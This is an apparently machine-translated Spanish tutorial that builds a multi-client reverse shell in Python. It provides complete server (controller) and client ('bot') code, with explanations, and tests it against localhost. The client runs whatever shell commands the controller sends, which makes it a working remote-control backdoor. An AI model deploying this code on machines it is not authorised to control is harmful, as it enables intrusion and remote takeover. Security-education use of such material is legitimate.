Shell inverso para controlar múltiples objetivos

PythonPythonBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este proyecto, aprenderás a crear un shell inverso utilizando Python, el cual te permitirá controlar múltiples máquinas comprometidas, también conocidas como "bots". A diferencia de los shells tradicionales, un shell inverso inicia una conexión desde el bot hacia el controlador, lo que permite la gestión de hosts remotos incluso detrás de firewall o NAT. Este método se utiliza ampliamente en prácticas de ciberseguridad para pruebas de penetración y gestión de entornos controlados de manera segura.

Antes de adentrarnos en la implementación, es importante entender los conceptos fundamentales detrás de nuestra aplicación de shell inverso, incluyendo la arquitectura cliente-servidor (C/S) y el Protocolo de Control de Transmisión (TCP).

La arquitectura C/S implica un cliente que solicita servicios y un servidor que los proporciona. En nuestro caso, los bots actúan como clientes que inician conexiones hacia nuestro servidor, lo que nos permite ejecutar comandos en ellos de manera remota.

Utilizaremos TCP para la comunicación confiable y orientada a conexiones entre el servidor y los clientes. TCP asegura que los datos se entregan de manera precisa y en orden, lo cual es esencial para ejecutar comandos y recibir respuestas sin errores.

👀 Vista previa

Ejecución de comandos de shell inverso

🎯 Tareas

En este proyecto, aprenderás:

  • Cómo entender la arquitectura cliente-servidor (C/S) y el Protocolo de Control de Transmisión (TCP) como la base de las comunicaciones de red.
  • Cómo configurar un servidor que escuche conexiones entrantes de múltiples clientes (bots).
  • Cómo crear scripts de clientes que se conecten al servidor y ejecuten los comandos recibidos.
  • Cómo implementar la funcionalidad de ejecución de comandos y recuperación de resultados en el servidor para interactuar con los clientes conectados.
  • Cómo manejar simultáneamente múltiples conexiones de clientes y cambiar entre ellas para emitir comandos.

🏆 Logros

Después de completar este proyecto, podrás:

  • Demostrar el dominio de los conceptos básicos del modelo cliente-servidor y TCP para una comunicación de red confiable.
  • Implementar un servidor de shell inverso multi-cliente en Python.
  • Crear scripts de clientes que puedan conectarse a un servidor remoto y ejecutar los comandos enviados por el servidor.
  • Manejar múltiples conexiones y gestionar la comunicación con múltiples clientes en un entorno controlado.
  • Aplicar la experiencia práctica en programación de redes y la comprensión de sus aplicaciones en ciberseguridad y gestión de sistemas remotos.

Inicializar la clase Server

En el archivo llamado server.py, comienza con la estructura básica de la clase Server.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

La clase Server está diseñada para crear un servidor que puede manejar múltiples conexiones de clientes, comúnmente denominadas "bots" en el contexto de una aplicación de shell inverso. Analicemos los componentes y funcionalidades definidos en el método de inicialización (__init__):

  1. Declaraciones de importación:
    • import socket: Esto importa el módulo socket integrado de Python, que proporciona las funcionalidades necesarias para las comunicaciones de red. Los sockets son los extremos de un canal de comunicación bidireccional y se pueden utilizar para conectarse y comunicarse con clientes.
    • import threading: Esto importa el módulo threading, lo que permite la creación de múltiples hilos dentro de un proceso. Esto es esencial para manejar múltiples conexiones de clientes simultáneamente sin bloquear el flujo principal de ejecución del servidor.
  2. Definición de clase:
    • class Server:: Esta línea define la clase Server, que encapsula las funcionalidades necesarias para las operaciones del lado del servidor de un shell inverso.
  3. Método de inicialización (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Este método inicializa una nueva instancia de la clase Server. Tiene dos parámetros con valores predeterminados:
      • host='0.0.0.0': La dirección de host predeterminada '0.0.0.0' se utiliza para especificar que el servidor debe escuchar en todas las interfaces de red. Esto hace que el servidor sea accesible desde cualquier dirección IP que la máquina pueda tener.
      • port=7676: Este es el número de puerto predeterminado en el que el servidor escuchará conexiones entrantes. Los números de puerto se utilizan para diferenciar entre diferentes servicios que se ejecutan en la misma máquina. La elección del número de puerto 7676 es arbitraria y se puede cambiar según la preferencia o los requisitos del usuario.
  4. Variables de instancia:
    • self.host: Esto almacena la dirección de host en la que el servidor escuchará conexiones entrantes.
    • self.port: Esto almacena el número de puerto en el que el servidor escuchará.
    • self.clients = []: Esto inicializa una lista vacía para llevar un registro de los clientes conectados. Cada cliente conectado se agregará a esta lista, lo que permite que el servidor gestione y comunique con múltiples clientes.
    • self.current_client = None: Esta variable se utiliza para llevar un registro del cliente actualmente seleccionado (si es que hay alguno) para enviar comandos o recibir datos.
    • self.exit_flag = False: Esta bandera se utiliza para controlar el bucle principal del servidor. Establecer esta bandera en True indicará al servidor que se detenga de manera adecuada.
    • self.lock = threading.Lock(): Esto crea un objeto de bloqueo de hilos, que es un primitivo de sincronización. Los bloqueos se utilizan para garantizar que solo un hilo pueda acceder o modificar recursos compartidos a la vez, evitando condiciones de carrera y asegurando la integridad de los datos.
✨ Revisar Solución y Practicar

Iniciar el servidor TCP

Implementa el método run para iniciar el servidor y escuchar conexiones.

## continuar en server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

El método run es la parte de la clase Server que inicia el servidor TCP y comienza a escuchar conexiones entrantes de clientes (o "bots" en el contexto de un shell inverso). Aquí está un desglose de lo que sucede en este método:

  1. Crear un socket:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Esta línea crea un nuevo socket utilizando la declaración with, lo que asegura que el socket se cierre automáticamente cuando ya no se necesita. El argumento socket.AF_INET especifica que el socket utilizará la dirección IPv4, y socket.SOCK_STREAM indica que es un socket TCP, que proporciona una comunicación confiable y orientada a conexiones.
  2. Asociar el socket:
    • server_socket.bind((self.host, self.port)): El método bind asocia el socket con una interfaz de red y un número de puerto específicos. En este caso, asocia el socket con los atributos host y port de la instancia de Server, preparándolo para escuchar conexiones entrantes en esa dirección y puerto.
  3. Escuchar conexiones:
    • server_socket.listen(10): Esta línea le dice al socket que comience a escuchar conexiones entrantes. El argumento 10 especifica el número máximo de conexiones en cola (el retraso) antes de que el servidor empiece a rechazar nuevas conexiones. Esto no limita el número total de conexiones concurrentes, solo cuántas pueden estar esperando ser aceptadas.
  4. Mensaje de inicio del servidor:
    • print(f"Server listening on port {self.port}..."): Imprime un mensaje en la consola indicando que el servidor está en funcionamiento y escuchando conexiones en el puerto especificado.
  5. Manejar conexiones entrantes:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Esta línea inicializa un nuevo objeto Thread, estableciendo su objetivo en el método self.wait_for_connections con el server_socket como argumento. Este método (no mostrado en el fragmento) presumiblemente está diseñado para aceptar continuamente conexiones entrantes en un bucle y agregarlas a la lista self.clients.
    • connection_thread.start(): Inicia el hilo, invocando el método self.wait_for_connections en un hilo de ejecución separado. Esto permite que el servidor siga ejecutando el resto del método run sin bloquear mientras espera conexiones.
  6. Bucle principal del servidor:
    • while not self.exit_flag:: Este bucle continúa ejecutándose mientras self.exit_flag siga siendo False. Dentro de este bucle, el servidor puede realizar tareas como administrar clientes conectados o manejar comandos del servidor.
    • if self.clients:: Verifica si hay clientes conectados en la lista self.clients.
      • self.select_client(): Un método (no mostrado en el fragmento) presumiblemente que permite al operador del servidor seleccionar uno de los clientes conectados para interactuar. Esto podría implicar enviar comandos al cliente o recibir datos.
      • self.handle_client(): Otro método (no mostrado) que probablemente maneja la interacción con el cliente seleccionado. Esto podría implicar leer comandos del operador del servidor, enviarlos al cliente y mostrar la respuesta del cliente.

Esta estructura configura el servidor para escuchar y administrar múltiples conexiones de clientes de manera no bloqueante, utilizando hilos para manejar la aceptación de conexiones y la gestión de clientes de manera concurrente.

✨ Revisar Solución y Practicar

Aceptar conexiones entrantes

Agrega el método wait_for_connections para manejar las conexiones entrantes de clientes en un hilo separado.

## continuar en server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

El método wait_for_connections está diseñado para escuchar y aceptar continuamente las conexiones entrantes de clientes en el servidor. Este método está destinado a ejecutarse en un hilo separado, lo que permite que el servidor realice otras tareas (como interactuar con los clientes conectados) sin ser bloqueado por la llamada accept, que espera una nueva conexión. Aquí está un desglose detallado:

  1. Bucle de escucha continua:
    • while not self.exit_flag:: Este bucle sigue ejecutándose mientras self.exit_flag sea False. El propósito de esta bandera es proporcionar una forma controlada de detener el servidor, incluyendo este bucle de escucha. Cuando self.exit_flag se establece en True, el bucle se detendrá, lo que detendrá efectivamente al servidor de aceptar nuevas conexiones.
  2. Aceptar conexiones:
    • client_socket, client_address = server_socket.accept(): El método accept espera una conexión entrante. Cuando un cliente se conecta, devuelve un nuevo objeto de socket (client_socket) que representa la conexión y una tupla (client_address) que contiene la dirección IP y el número de puerto del cliente. Esta línea bloquea la ejecución del hilo hasta que se recibe una nueva conexión.
  3. Notificación de conexión:
    • print(f"New connection from {client_address[0]}"): Una vez que se acepta una nueva conexión, se imprime un mensaje en la consola que indica la dirección IP del cliente recientemente conectado. Esto es útil para fines de registro y monitoreo.
  4. Gestión de clientes segura para hilos:
    • with self.lock:: Esto utiliza un bloqueo de hilos (self.lock), adquirido al principio del bloque y liberado automáticamente al final. El propósito del bloqueo es garantizar un acceso seguro a los recursos compartidos, en este caso, la lista self.clients. Esto es crucial en un entorno multihilo para evitar la corrupción de datos y garantizar la consistencia.
    • self.clients.append((client_socket, client_address)): Dentro del bloque protegido, el método agrega el socket y la dirección del nuevo cliente como una tupla a la lista self.clients. Esta lista registra todos los clientes conectados, lo que permite que el servidor interactúe con ellos individualmente más adelante.

Este método garantiza que el servidor pueda manejar las conexiones entrantes concurrentemente con otras tareas, administrando de manera segura una lista de clientes conectados para una interacción posterior. El uso de hilos y bloqueos es esencial para mantener el rendimiento y la integridad de los datos en un entorno concurrente.

✨ Revisar Solución y Practicar

Implementar funciones de interacción con clientes

Implementa funciones para seleccionar e interactuar con los clientes conectados.

## continuar en server.py
    def select_client(self):
        print("Clientes disponibles:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Selecciona un cliente por índice: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Saliendo del servidor...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

Las funciones select_client y handle_client son componentes críticos para interactuar con los clientes conectados en un entorno de servidor de shell inverso. Aquí está cómo funciona cada función:

Función select_client

Esta función se encarga de listar todos los clientes actualmente conectados y permitir que el operador del servidor seleccione uno para interactuar:

  • print("Clientes disponibles:"): Muestra un mensaje indicando que seguirá la lista de clientes disponibles.
  • for index, (_, addr) in enumerate(self.clients):: Itera a través de la lista self.clients, que contiene tuplas de sockets de clientes y direcciones. El _ es un marcador de posición para el socket del cliente, que no es necesario en este contexto, y addr es la dirección del cliente. La función enumerate agrega un índice a cada elemento.
  • print(f"[{index}]-> {addr[0]}"): Para cada cliente, imprime un índice y la dirección IP del cliente. Esto facilita que el operador vea cuántos y qué clientes están conectados.
  • index = int(input("Selecciona un cliente por índice: ")): Solicita al operador del servidor que ingrese el índice del cliente con el que desea interactuar. Esta entrada se convierte en un entero y se almacena en index.
  • self.current_client = self.clients[index]: Establece self.current_client en la tupla de cliente (socket y dirección) correspondiente al índice elegido. Este cliente será el objetivo de los comandos posteriores.

Función handle_client

Esta función facilita el envío de comandos al cliente seleccionado y la recepción de respuestas:

  • client_socket, client_address = self.current_client: Desempaqueta la tupla self.current_client en client_socket y client_address.
  • while True:: Ingresa en un bucle infinito, lo que permite que el operador del servidor envíe comandos continuamente al cliente hasta que se ingrese un comando especial.
  • command = input(f"{client_address[0]}:~## "): Solicita al operador del servidor que ingrese un comando. El mensaje de solicitud incluye la dirección IP del cliente actual para mayor claridad.
  • if command == '!ch':: Verifica si se ingresó el comando especial !ch, que es una señal para cambiar el cliente actual. Si es así, sale del bucle para permitir que el operador del servidor seleccione un nuevo cliente.
  • if command == '!q':: Verifica si se ingresó el comando para salir del servidor (!q). Si es así, establece self.exit_flag en True para terminar el bucle del servidor y sale del bucle de manejo de clientes.
  • client_socket.send(command.encode('utf-8')): Envía el comando ingresado al cliente. El comando se codifica en bytes utilizando la codificación UTF-8, ya que la comunicación de red requiere que los datos estén en bytes.
  • response = client_socket.recv(1024): Espera y recibe la respuesta del cliente. La llamada recv(1024) especifica que se leerán hasta 1024 bytes. Para respuestas más grandes, esto puede ser necesario ajustar o manejar en un bucle.
  • print(response.decode('utf-8')): Decodifica la respuesta de bytes recibida utilizando UTF-8 y la imprime. Esto muestra al operador del servidor el resultado del comando ejecutado en la máquina del cliente.

Estas funciones en conjunto permiten que el operador del servidor gestione múltiples clientes conectados, emita comandos a los clientes seleccionados y vea sus respuestas, que son capacidades fundamentales para un servidor de shell inverso.

✨ Revisar Solución y Practicar

Ejecutar el servidor

Agrega el punto de entrada para instanciar y ejecutar el servidor.

## continuar en server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Esta parte del script inicia el servidor cuando se ejecuta el script, lo que le permite aceptar y gestionar conexiones de clientes.

✨ Revisar Solución y Practicar

Creando el cliente

A continuación, creemos la parte del cliente (bot). El cliente se conectará al servidor y ejecutará los comandos recibidos.

En client.py, agrega el siguiente contenido:

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

El script client.py describe cómo un cliente (o "bot" en el contexto de un shell inverso) se conecta al servidor y maneja los comandos entrantes. Aquí está una explicación paso a paso:

  • def connect_to_server(host, port):: Define una función que toma un host y un número de puerto para conectarse al servidor.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: Crea un objeto de socket utilizando la dirección IPv4 (AF_INET) y TCP (SOCK_STREAM), lo que asegura que se cierre automáticamente después de salir del bloque with.
  • sock.connect((host, port)): Inicia una conexión al servidor en el host y puerto especificados.
  • while True:: Entra en un bucle infinito para escuchar continuamente comandos del servidor.
  • command = sock.recv(1024).decode('utf-8'): Espera a recibir un comando del servidor, leyendo hasta 1024 bytes. Los bytes recibidos se decodifican utilizando UTF-8 para convertir los datos de nuevo en una cadena.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): Ejecuta el comando recibido utilizando el shell del sistema. stdout=subprocess.PIPE y stderr=subprocess.PIPE capturan la salida estándar y el error estándar del comando, respectivamente.
  • output = result.stdout.decode(sys.getfilesystemencoding()): Decodifica la salida de la ejecución del comando de bytes a una cadena utilizando la codificación del sistema de archivos, lo que garantiza que los caracteres específicos del sistema de archivos se interpreten correctamente.
  • sock.send(output.encode('utf-8')): Envía el resultado de la ejecución del comando de vuelta al servidor, codificándolo a UTF-8 para convertir la cadena de nuevo a bytes adecuados para la transmisión de red.
  • time.sleep(1): Pausa la ejecución durante 1 segundo antes de escuchar el siguiente comando. Esto se utiliza típicamente para evitar que el cliente sobrecargue la red o el servidor con solicitudes rápidas y continuas.

Este script de cliente transforma efectivamente la máquina en la que se ejecuta en un "bot" que se conecta a un servidor especificado, espera comandos, los ejecuta y devuelve los resultados. Esta configuración es típica en entornos controlados de práctica de ciberseguridad, como laboratorios de pruebas de penetración, donde los investigadores simulan ataques y defensas para entender mejor y mejorar las medidas de seguridad.

✨ Revisar Solución y Practicar

Probando la configuración

Finalmente, probemos nuestra configuración de shell inverso para asegurarnos de que funcione como se espera.

Ejecutando el servidor

Primero, ejecuta el script server.py en una ventana de terminal:

python server.py
Ejecutando el cliente

Abre una ventana de terminal separada:

Opening new terminal window

Ejecuta el script client.py:

python client.py
Ejecutando comandos

Vuelve a la terminal del servidor:

Server terminal with client selection

Deberías poder seleccionar el cliente conectado y ejecutar comandos. Por ejemplo, intenta listar el contenido del directorio:

ls /

Deberías ver la salida del comando ls / ejecutado en la máquina del cliente mostrada en la terminal del servidor.

Server terminal ls output

Resumen

En este proyecto, has aprendido cómo implementar un shell inverso básico utilizando Python, aprovechando la arquitectura cliente-servidor y TCP para la comunicación. Has configurado un servidor que escucha conexiones de clientes (bots) y les envía comandos. Esta técnica es una habilidad fundamental en la programación de redes y la ciberseguridad, demostrando el poder y la flexibilidad de Python en la gestión de sistemas remotos.